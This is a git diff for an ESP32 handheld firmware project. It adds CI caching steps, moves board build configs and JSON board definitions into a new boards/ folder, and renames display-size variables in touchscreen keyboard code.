diff --git a/.github/workflows/PR_All_envs.yml b/.github/workflows/PR_All_envs.yml index dae88969..ef4de649 100644 --- a/.github/workflows/PR_All_envs.yml +++ b/.github/workflows/PR_All_envs.yml @@ -164,9 +164,25 @@ - id: build name: Setup Python - uses: actions/setup-python@v2 + uses: actions/setup-python@v4 with: python-version: "3.x" + + - name: Cache pip + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Cache PlatformIO + uses: actions/cache@v4 + with: + path: | + ~/.platformio + key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} - name: Install Dependencies run: | diff --git a/.github/workflows/PR_check.yml b/.github/workflows/PR_check.yml index b243fa1d..2c96c25c 100644 --- a/.github/workflows/PR_check.yml +++ b/.github/workflows/PR_check.yml @@ -62,10 +62,26 @@ - id: build name: setup Python - uses: actions/setup-python@v2 + uses: actions/setup-python@v5 with: python-version: "3.x" - + + - name: Cache pip + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Cache PlatformIO + uses: actions/cache@v4 + with: + path: | + ~/.platformio + key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + - name: Install dependencies run: | pip install requests esptool @@ -89,7 +105,7 @@ - name: Run Compile run: | platformio run -e ${{ matrix.board.env }} - + - name: Merge files run: | esptool.py --chip esp32s3 merge_bin -o Bruce-${{ matrix.board.env }}.bin \ diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml index 0c55729e..87bef37f 100644 --- a/.github/workflows/buil_parallel.yml +++ b/.github/workflows/buil_parallel.yml @@ -200,6 +200,22 @@ with: python-version: "3.x" + - name: Cache pip + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Cache PlatformIO + uses: actions/cache@v4 + with: + path: | + ~/.platformio + key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + - name: Install dependencies run: | pip install requests esptool diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index d8db32b8..b5b44e81 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -18,10 +18,26 @@ jobs: uses: actions/checkout@v2 - name: Set up Python - uses: actions/setup-python@v2 + uses: actions/setup-python@v4 with: python-version: "3.x" + - name: Cache pip + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Cache PlatformIO + uses: actions/cache@v4 + with: + path: | + ~/.platformio + key: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + restore-keys: ${{ runner.os }}-pio-${{ hashFiles('**/lockfiles') }} + - name: Install dependencies run: pip install requests esptool diff --git a/LAYOUT.md b/LAYOUT.md new file mode 100644 index 00000000..0766ff04 --- /dev/null +++ b/LAYOUT.md @@ -0,0 +1,24 @@ +``` +. +├── boards +│ ├── [board] +│ │ └── interface.cpp +│ ├── pinouts +│ │ ├── pins_arduino.h +│ │ └── [board].h +│ ├── [board].json +│ └── [board].ini +├── html +├── media +├── lib +│ ├── utility +│ └─ ... +├── include +│ └─ ... +├── src +│ ├── core +│ ├── modules +│ └── main.cpp +├── test +└── platformio.ini +``` \ No newline at end of file diff --git a/README.md b/README.md index ea77ab44..126b0356 100644 --- a/README.md +++ b/README.md @@ -241,9 +241,6 @@ Other media can be [found here](./media/). + [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance. + [@eadmaster](https://github.com/eadmaster) for adding a lot of features. + [@rennancockles](https://github.com/rennancockles) for a lot of RFID code, refactoring and others features. -+ [@7h30th3r0n3](https://github.com/7h30th3r0n3) refactoring and a lot of help with WiFi attacks. -+ [Smoochiee]() for Bruce PCB design. -+ [TH3_KR4K3N]() for Stick cplus extender PCB design. + Everyone who contributed in some way to the project, thanks :heart: ## :construction: Disclaimer diff --git a/ports/CYD-2432S028/platformio.ini b/boards/CYD-2432S028.ini similarity index 94% rename from ports/CYD-2432S028/platformio.ini rename to boards/CYD-2432S028.ini index 7339683d..09f2aa9f 100644 --- a/ports/CYD-2432S028/platformio.ini +++ b/boards/CYD-2432S028.ini @@ -10,16 +10,13 @@ ##################################### CYD MODELS #################################################### [env:CYD-2432S028] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = esp32dev +board = CYD-2432S028 monitor_speed = 115200 -monitor_filters = esp32_exception_decoder -framework = arduino board_build.partitions = custom_4Mb_full.csv -build_src_filter =${env.build_src_filter} +<../ports/CYD-2432S028> +build_src_filter =${env.build_src_filter} +<../boards/CYD-2432S028> build_flags = ${env.build_flags} - -Iports/CYD-2432S028 + -Iboards/CYD-2432S028 -Os -DCORE_DEBUG_LEVEL=5 ;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work @@ -112,8 +109,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=1 - -DWIDTH=320 - -DHEIGHT=220 ;240-20 lower margin -DBACKLIGHT=21 -DMINBRIGHT=160 @@ -121,6 +116,8 @@ build_flags = -DUSER_SETUP_LOADED=1 -DILI9341_2_DRIVER=1 -DUSE_HSPI_PORT=1 + -DTFT_HEIGHT=320 + -DTFT_WIDTH=240 ;240-20 lower margin -DTFT_MISO=12 -DTFT_MOSI=13 -DTFT_SCLK=14 @@ -174,6 +171,15 @@ build_flags = ${env:CYD-2432S028.build_flags} -DTFT_INVERSION_ON +[env:LAUNCHER_CYD-2USB] +extends=env:CYD-2432S028 +build_flags = + ${env:CYD-2432S028.build_flags} + -DTFT_INVERSION_ON + -DLITE_VERSION=1 + + + [env:CYD-2432W328C] extends = env:CYD-2432S028 build_flags = @@ -185,6 +191,13 @@ build_flags = -DSPI_TOUCH_FREQUENCY=2500000 -DHAS_CAPACITIVE_TOUCH=1 +[env:LAUNCHER_CYD-2432S028] +extends=env:CYD-2432S028 +build_flags = + ${env:CYD-2432S028.build_flags} + -DLITE_VERSION=1 + + [env:CYD-2432W328C_2] # commom to CYD-2432S024 Capacitive board extends = env:CYD-2432S028 build_flags = @@ -196,19 +209,6 @@ build_flags = -DSPI_TOUCH_FREQUENCY=2500000 -DHAS_CAPACITIVE_TOUCH=1 -[env:LAUNCHER_CYD-2432S028] -extends=env:CYD-2432S028 -build_flags = - ${env:CYD-2432S028.build_flags} - -DLITE_VERSION=1 - -[env:LAUNCHER_CYD-2USB] -extends=env:CYD-2432S028 -build_flags = - ${env:CYD-2432S028.build_flags} - -DTFT_INVERSION_ON - -DLITE_VERSION=1 - [env:LAUNCHER_CYD-2432W328C] extends=env:CYD-2432S028 build_flags = diff --git a/boards/CYD-2432S028.json b/boards/CYD-2432S028.json new file mode 100644 index 00000000..5d213cc6 --- /dev/null +++ b/boards/CYD-2432S028.json @@ -0,0 +1,40 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32_out.ld" + }, + "core": "esp32", + "extra_flags": [ + "-DARDUINO_ESP32_DEV", + "-DCYD_2432S028" + ], + "f_cpu": "240000000L", + "f_flash": "40000000L", + "flash_mode": "dio", + "mcu": "esp32", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "ethernet", + "can" + ], + "debug": { + "openocd_board": "esp-wroom-32.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "Espressif ESP32 Dev Module", + "upload": { + "flash_size": "4MB", + "maximum_ram_size": 327680, + "maximum_size": 4194304, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://en.wikipedia.org/wiki/ESP32", + "vendor": "Espressif" +} diff --git a/ports/CYD-2432S028/interface.cpp b/boards/CYD-2432S028/interface.cpp similarity index 95% rename from ports/CYD-2432S028/interface.cpp rename to boards/CYD-2432S028/interface.cpp index e3bb6b81..62ecd7af 100644 --- a/ports/CYD-2432S028/interface.cpp +++ b/boards/CYD-2432S028/interface.cpp @@ -116,19 +116,19 @@ bool menuPress(int bot) { //0 - prev //1 - Sel //2 - next - int terco=WIDTH/3; + int terco=tftWidth/3; if (touch.touched()) { //touch.tirqTouched() && auto t = touch.getPointScaled(); t = touch.getPointScaled(); //log_i("Touchscreen Pressed at x=%d, y=%d, z=%d", t.x,t.y,t.z); if(bruceConfig.rotation==3) { - t.y = (HEIGHT+20)-t.y; - t.x = WIDTH-t.x; + t.y = (tftHeight+20)-t.y; + t.x = tftWidth-t.x; } - if(t.y>(HEIGHT) && ((t.x>terco*bot && t.x(tftHeight) && ((t.x>terco*bot && t.x19) { @@ -417,7 +417,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -469,11 +469,11 @@ String keyboard(String mytext, int maxSize, String msg) { auto t = touch.getPointScaled(); if(bruceConfig.rotation==3) { - t.y = (HEIGHT+20)-t.y; - t.x = WIDTH-t.x; + t.y = (tftHeight+20)-t.y; + t.x = tftWidth-t.x; } if (box_list[48].contain(t.x, t.y)) { break; } // Ok - if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP + if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE for(k=0;k<48;k++){ @@ -544,7 +544,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/ports/ESP-General/platformio.ini b/boards/ESP-General.ini similarity index 89% rename from ports/ESP-General/platformio.ini rename to boards/ESP-General.ini index 590dbb5f..1948ff3f 100644 --- a/ports/ESP-General/platformio.ini +++ b/boards/ESP-General.ini @@ -24,19 +24,12 @@ extends = env:esp32-s3-devkitc-1 [env:esp32-s3-devkitc-1] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = esp32-s3-devkitc-1 -framework = arduino -build_src_filter =${env.build_src_filter} +<../ports/ESP-General> +board = ESP-General +build_src_filter =${env.build_src_filter} +<../boards/ESP-General> build_flags = ${env.build_flags} - -Iports/ESP-General - -DESP32S3DEVKITC1 + -Iboards/ESP-General -DUSB_as_HID=1 - ; needed for serial - -DARDUINO_USB_CDC_ON_BOOT=1 - -DBOARD_HAS_PSRAM - ; grove pins ; defaults from https://github.com/espressif/arduino-esp32/blob/master/variants/esp32s3/pins_arduino.h -DGROVE_SDA=8 ; default RF TX pin @@ -64,8 +57,6 @@ build_flags = ; tft vars -DROTATION=1 -DBACKLIGHT=-1 ; tft backlight pin - -DWIDTH=240 - -DHEIGHT=135 -DMINBRIGHT=160 ; unused? -DSMOOTH_FONT=1 -DTFT_DISPON=0x29 diff --git a/boards/ESP-General.json b/boards/ESP-General.json new file mode 100644 index 00000000..e412fde5 --- /dev/null +++ b/boards/ESP-General.json @@ -0,0 +1,53 @@ +{ + "build": { + "arduino":{ + "ldscript": "esp32s3_out.ld", + "partitions": "default_8MB.csv" + }, + "core": "esp32", + "extra_flags": [ + "-DESP32S3DEVKITC1", + "-DARDUINO_ESP32S3_DEV", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_RUNNING_CORE=1", + "-DARDUINO_EVENT_RUNNING_CORE=1", + "-DARDUINO_USB_CDC_ON_BOOT=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x303A", + "0x1001" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "bluetooth", + "wifi" + ], + "debug": { + "default_tool": "esp-builtin", + "onboard_tools": [ + "esp-builtin" + ], + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "Espressif ESP32-S3-DevKitC-1-N8 (8 MB QD, No PSRAM)", + "upload": { + "flash_size": "8MB", + "maximum_ram_size": 327680, + "maximum_size": 8388608, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/hw-reference/esp32s3/user-guide-devkitc-1.html", + "vendor": "Espressif" + } \ No newline at end of file diff --git a/ports/ESP-General/interface.cpp b/boards/ESP-General/interface.cpp similarity index 100% rename from ports/ESP-General/interface.cpp rename to boards/ESP-General/interface.cpp diff --git a/boards/README.md b/boards/README.md new file mode 100644 index 00000000..c23ff942 --- /dev/null +++ b/boards/README.md @@ -0,0 +1,35 @@ +``` +. +├── platformio.ini +├── boards + ├── [board] + │ └── interface.cpp + ├── pinouts + │ ├── pins_arduino.h + │ └── [board].h + ├── [board].json + └── [board].ini +... +``` + +# Files +(Replace \[board] with the board name) + +## boards/pinouts/pins_arduio.h +This is where you will put the flag that will include your boards pinouts header. + +## boards/pinouts/\[board].h +This is where you put the flags and pinouts to the board. Look at other boards for whats needed. +Here is an official example and what we are actually using here: +https://github.com/espressif/arduino-esp32/blob/master/variants/esp32s3/pins_arduino.h + +## boards/\[board]/interface.cpp +This is where you do the board specific setup code + +## boards/\[board].json +This is the board config. Look at other boards for whats needed. +Here is an offical example and what we are actually using here: +https://github.com/platformio/platform-espressif32/blob/master/boards/esp32-s3-devkitc-1.json + +## boards/\[board].ini +This is the platformio config for the device. Look at other boards for whats needed. \ No newline at end of file diff --git a/boards/_New-Device-Model.ini b/boards/_New-Device-Model.ini new file mode 100644 index 00000000..529d3966 --- /dev/null +++ b/boards/_New-Device-Model.ini @@ -0,0 +1,25 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[env:NewDeviceModel] +board = _New-Device-Model +board_build.partitions = custom_8Mb.csv +build_flags = + ${env.build_flags} + -Iboards/_New-Device-Model + -Os + -DCORE_DEBUG_LEVEL=5 + ;-DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work + + + +lib_deps = + ${env.lib_deps} + xylopyrographer/LiteLED@^1.2.0 diff --git a/boards/_New-Device-Model.json b/boards/_New-Device-Model.json new file mode 100644 index 00000000..343018d2 --- /dev/null +++ b/boards/_New-Device-Model.json @@ -0,0 +1,47 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_8MB.csv" + }, + "core": "esp32", + "extra_flags": [ + "-DNEW_DEVICE", // Device Flag + "-DARDUINO_USB_MODE=1", + "-DARDUINO_RUNNING_CORE=1", + "-DARDUINO_EVENT_RUNNING_CORE=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x303A", + "0x1001" + ] + ], + "mcu": "esp32s3", + "variant": "m5stack_stamp_s3" + }, + "connectivity": [ + "bluetooth", + "wifi" + ], + "debug": { + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stack StampS3", + "upload": { + "flash_size": "8MB", + "maximum_ram_size": 327680, + "maximum_size": 8388608, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://docs.m5stack.com/en/core/StampS3", + "vendor": "M5Stack" + } \ No newline at end of file diff --git a/ports/_New-Device-Model/interface.cpp b/boards/_New-Device-Model/interface.cpp similarity index 100% rename from ports/_New-Device-Model/interface.cpp rename to boards/_New-Device-Model/interface.cpp diff --git a/ports/lilygo-t-deck/platformio.ini b/boards/lilygo-t-deck.ini similarity index 86% rename from ports/lilygo-t-deck/platformio.ini rename to boards/lilygo-t-deck.ini index 96905f0c..0fea45b9 100644 --- a/ports/lilygo-t-deck/platformio.ini +++ b/boards/lilygo-t-deck.ini @@ -9,27 +9,16 @@ ; https://docs.platformio.org/page/projectconf.html [env:lilygo-t-deck-pro] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = lilygo-t-display-s3 -framework = arduino +board = lilygo-t-deck board_build.partitions = custom_16Mb.csv -build_src_filter =${env.build_src_filter} +<../ports/lilygo-t-deck> +build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-deck> build_flags = ${env.build_flags} - -Iports/lilygo-t-deck - -DBOARD_HAS_PSRAM + -Iboards/lilygo-t-deck -mfix-esp32-psram-cache-issue -mfix-esp32-psram-cache-strategy=memw -Os -DCORE_DEBUG_LEVEL=5 - -DARDUINO_USB_CDC_ON_BOOT=1 ; Used only in ESP32-S3 to make Serial Comands work - - -DT_DECK=1 ;key for new device, - ;mykeyboard.cpp: need map buttons an/or touchscreen and battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - ;Features Enabled # Config to use IRQ and RST pins of PN532, if needed @@ -118,8 +107,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=1 - -DWIDTH=320 - -DHEIGHT=240 -DBACKLIGHT=42 -DMINBRIGHT=1 diff --git a/boards/lilygo-t-deck.json b/boards/lilygo-t-deck.json new file mode 100644 index 00000000..609f8eb0 --- /dev/null +++ b/boards/lilygo-t-deck.json @@ -0,0 +1,55 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_16MB.csv", + "memory_type": "qio_opi" + }, + "core": "esp32", + "extra_flags": [ + "-DT_DECK", + "-DBOARD_HAS_PSRAM", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_RUNNING_CORE=1", + "-DARDUINO_EVENT_RUNNING_CORE=1", + "-DARDUINO_USB_CDC_ON_BOOT" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x303A", + "0x1001" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "lora" + ], + "debug": { + "default_tool": "esp-builtin", + "onboard_tools": [ + "esp-builtin" + ], + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "LilyGo T-Deck (16M Flash 8M OPI PSRAM)", + "upload": { + "flash_size": "16MB", + "maximum_ram_size": 327680, + "maximum_size": 16777216, + "require_upload_port": true, + "speed": 921600 + }, + "url": "https://www.lilygo.cc", + "vendor": "LilyGo" +} diff --git a/ports/lilygo-t-deck/interface.cpp b/boards/lilygo-t-deck/interface.cpp similarity index 96% rename from ports/lilygo-t-deck/interface.cpp rename to boards/lilygo-t-deck/interface.cpp index 44953292..486ab659 100644 --- a/ports/lilygo-t-deck/interface.cpp +++ b/boards/lilygo-t-deck/interface.cpp @@ -130,13 +130,12 @@ int getBattery() { ** location: settings.cpp ** set brightness value **********************************************************************/ -void _setBrightness(uint8_t brightval) { - if(brightval>100) brightval=100; - if(brightval == 0){ - analogWrite(BACKLIGHT, brightval); +void _setBrightness(uint8_t brightval) { + if(brightval == 0){ + analogWrite(TFT_BL, brightval); } else { - int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 )); - analogWrite(BACKLIGHT, bl); + int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 )); + analogWrite(TFT_BL, bl); } } @@ -302,8 +301,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; #if defined(HAS_TOUCH) @@ -353,7 +352,7 @@ String keyboard(String mytext, int maxSize, String msg) { box_list[k].color = ~bruceConfig.bgColor; box_list[k].x=159; box_list[k].y=0; - box_list[k].w=WIDTH-164; + box_list[k].w=tftWidth-164; box_list[k].h=22; k=0; @@ -376,12 +375,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -411,7 +410,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -427,7 +426,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -525,7 +524,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/boards/lilygo-t-embed-cc1101.ini b/boards/lilygo-t-embed-cc1101.ini new file mode 100644 index 00000000..af6620dd --- /dev/null +++ b/boards/lilygo-t-embed-cc1101.ini @@ -0,0 +1,25 @@ + +[env:lilygo-t-embed-cc1101] +board = lilygo-t-embed-cc1101 +board_build.arduino.memory_type = qio_opi +board_build.partitions = custom_16Mb.csv +build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-embed-cc1101> +build_flags = + ${env.build_flags} + -Iboards/lilygo-t-embed-cc1101 + -O2 + -DMIC_SPM1423 + -mfix-esp32-psram-cache-issue + -mfix-esp32-psram-cache-strategy=memw + -DCORE_DEBUG_LEVEL=5 + -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device + + -DRF_TX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}' + -DRF_RX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}' + -DIR_TX_PINS='{{"Default", 2}, {"Pin 43", 43}, {"Pin 44", 44}}' + -DIR_RX_PINS='{{"Default", 1}, {"Pin 43", 43}, {"Pin 44", 44}}' + +lib_deps = + ${env.lib_deps} + lewisxhe/XPowersLib @0.2.6 + mathertel/RotaryEncoder @1.5.3 diff --git a/boards/lilygo-t-embed-cc1101.json b/boards/lilygo-t-embed-cc1101.json new file mode 100644 index 00000000..b11a4f7c --- /dev/null +++ b/boards/lilygo-t-embed-cc1101.json @@ -0,0 +1,63 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_16MB.csv", + "memory_type": "qio_opi" + }, + "core": "esp32", + "extra_flags": [ + "-DT_EMBED_1101", + "-DBOARD_HAS_PSRAM", + "-DARDUINO_RUNNING_CORE=0", + "-DARDUINO_EVENT_RUNNING_CORE=0", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_USB_CDC_ON_BOOT=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x239A", + "0x811B" + ], + [ + "0x239A", + "0x011B" + ], + [ + "0x239A", + "0x811C" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "bluetooth", + "wifi", + "lora" + ], + "debug": { + "default_tool": "esp-builtin", + "onboard_tools": [ + "esp-builtin" + ], + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "LilyGo T-Embed-PN532 (16M Flash 8M QSPI PSRAM)", + "upload": { + "flash_size": "16MB", + "maximum_ram_size": 327680, + "maximum_size": 16777216, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://www.lilygo.cc", + "vendor": "LilyGo" +} diff --git a/ports/lilygo-t-embed-cc1101/interface.cpp b/boards/lilygo-t-embed-cc1101/interface.cpp similarity index 93% rename from ports/lilygo-t-embed-cc1101/interface.cpp rename to boards/lilygo-t-embed-cc1101/interface.cpp index dd87e145..9cd4ee67 100644 --- a/ports/lilygo-t-embed-cc1101/interface.cpp +++ b/boards/lilygo-t-embed-cc1101/interface.cpp @@ -1,5 +1,6 @@ #include "core/powerSave.h" #include "interface.h" +#include // defines to make life easy #define PREV 0 @@ -17,8 +18,7 @@ IRAM_ATTR void checkPosition(); // Power handler for battery detection #include #include - #include - BQ27220 bq; + #include XPowersPPM PPM; #elif defined(T_EMBED) #include @@ -26,6 +26,11 @@ IRAM_ATTR void checkPosition(); #include #include #endif + +#ifdef USE_BQ27220_VIA_I2C + #include + BQ27220 bq; +#endif /*************************************************************************************** ** Function name: _setup_gpio() ** Description: initial setup for the device @@ -37,8 +42,8 @@ void _setup_gpio() { #ifdef T_EMBED_1101 // T-Embed CC1101 has a antenna circuit optimized to each frequency band, controlled by SW0 and SW1 //Set antenna frequency settings - pinMode(BOARD_LORA_SW1, OUTPUT); - pinMode(BOARD_LORA_SW0, OUTPUT); + pinMode(CC1101_SW1_PIN, OUTPUT); + pinMode(CC1101_SW0_PIN, OUTPUT); // Chip Select CC1101 to HIGH State pinMode(CC1101_SS_PIN, OUTPUT); @@ -92,7 +97,7 @@ void _setup_gpio() { ***************************************************************************************/ int getBattery() { int percent=0; - #if defined(T_EMBED_1101) + #if defined(USE_BQ27220_VIA_I2C) percent=bq.getChargePcnt(); #elif defined(T_EMBED) uint8_t _batAdcCh = ADC1_GPIO4_CHANNEL; @@ -120,12 +125,11 @@ int getBattery() { ** set brightness value **********************************************************************/ void _setBrightness(uint8_t brightval) { - if(brightval>100) brightval=100; - if(brightval == 0){ - analogWrite(BACKLIGHT, brightval); + if(brightval == 0){ + analogWrite(TFT_BL, brightval); } else { - int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 )); - analogWrite(BACKLIGHT, bl); + int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 )); + analogWrite(TFT_BL, bl); } } @@ -307,8 +311,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int i=0; @@ -326,12 +330,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -361,7 +365,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -377,7 +381,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -499,7 +503,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + 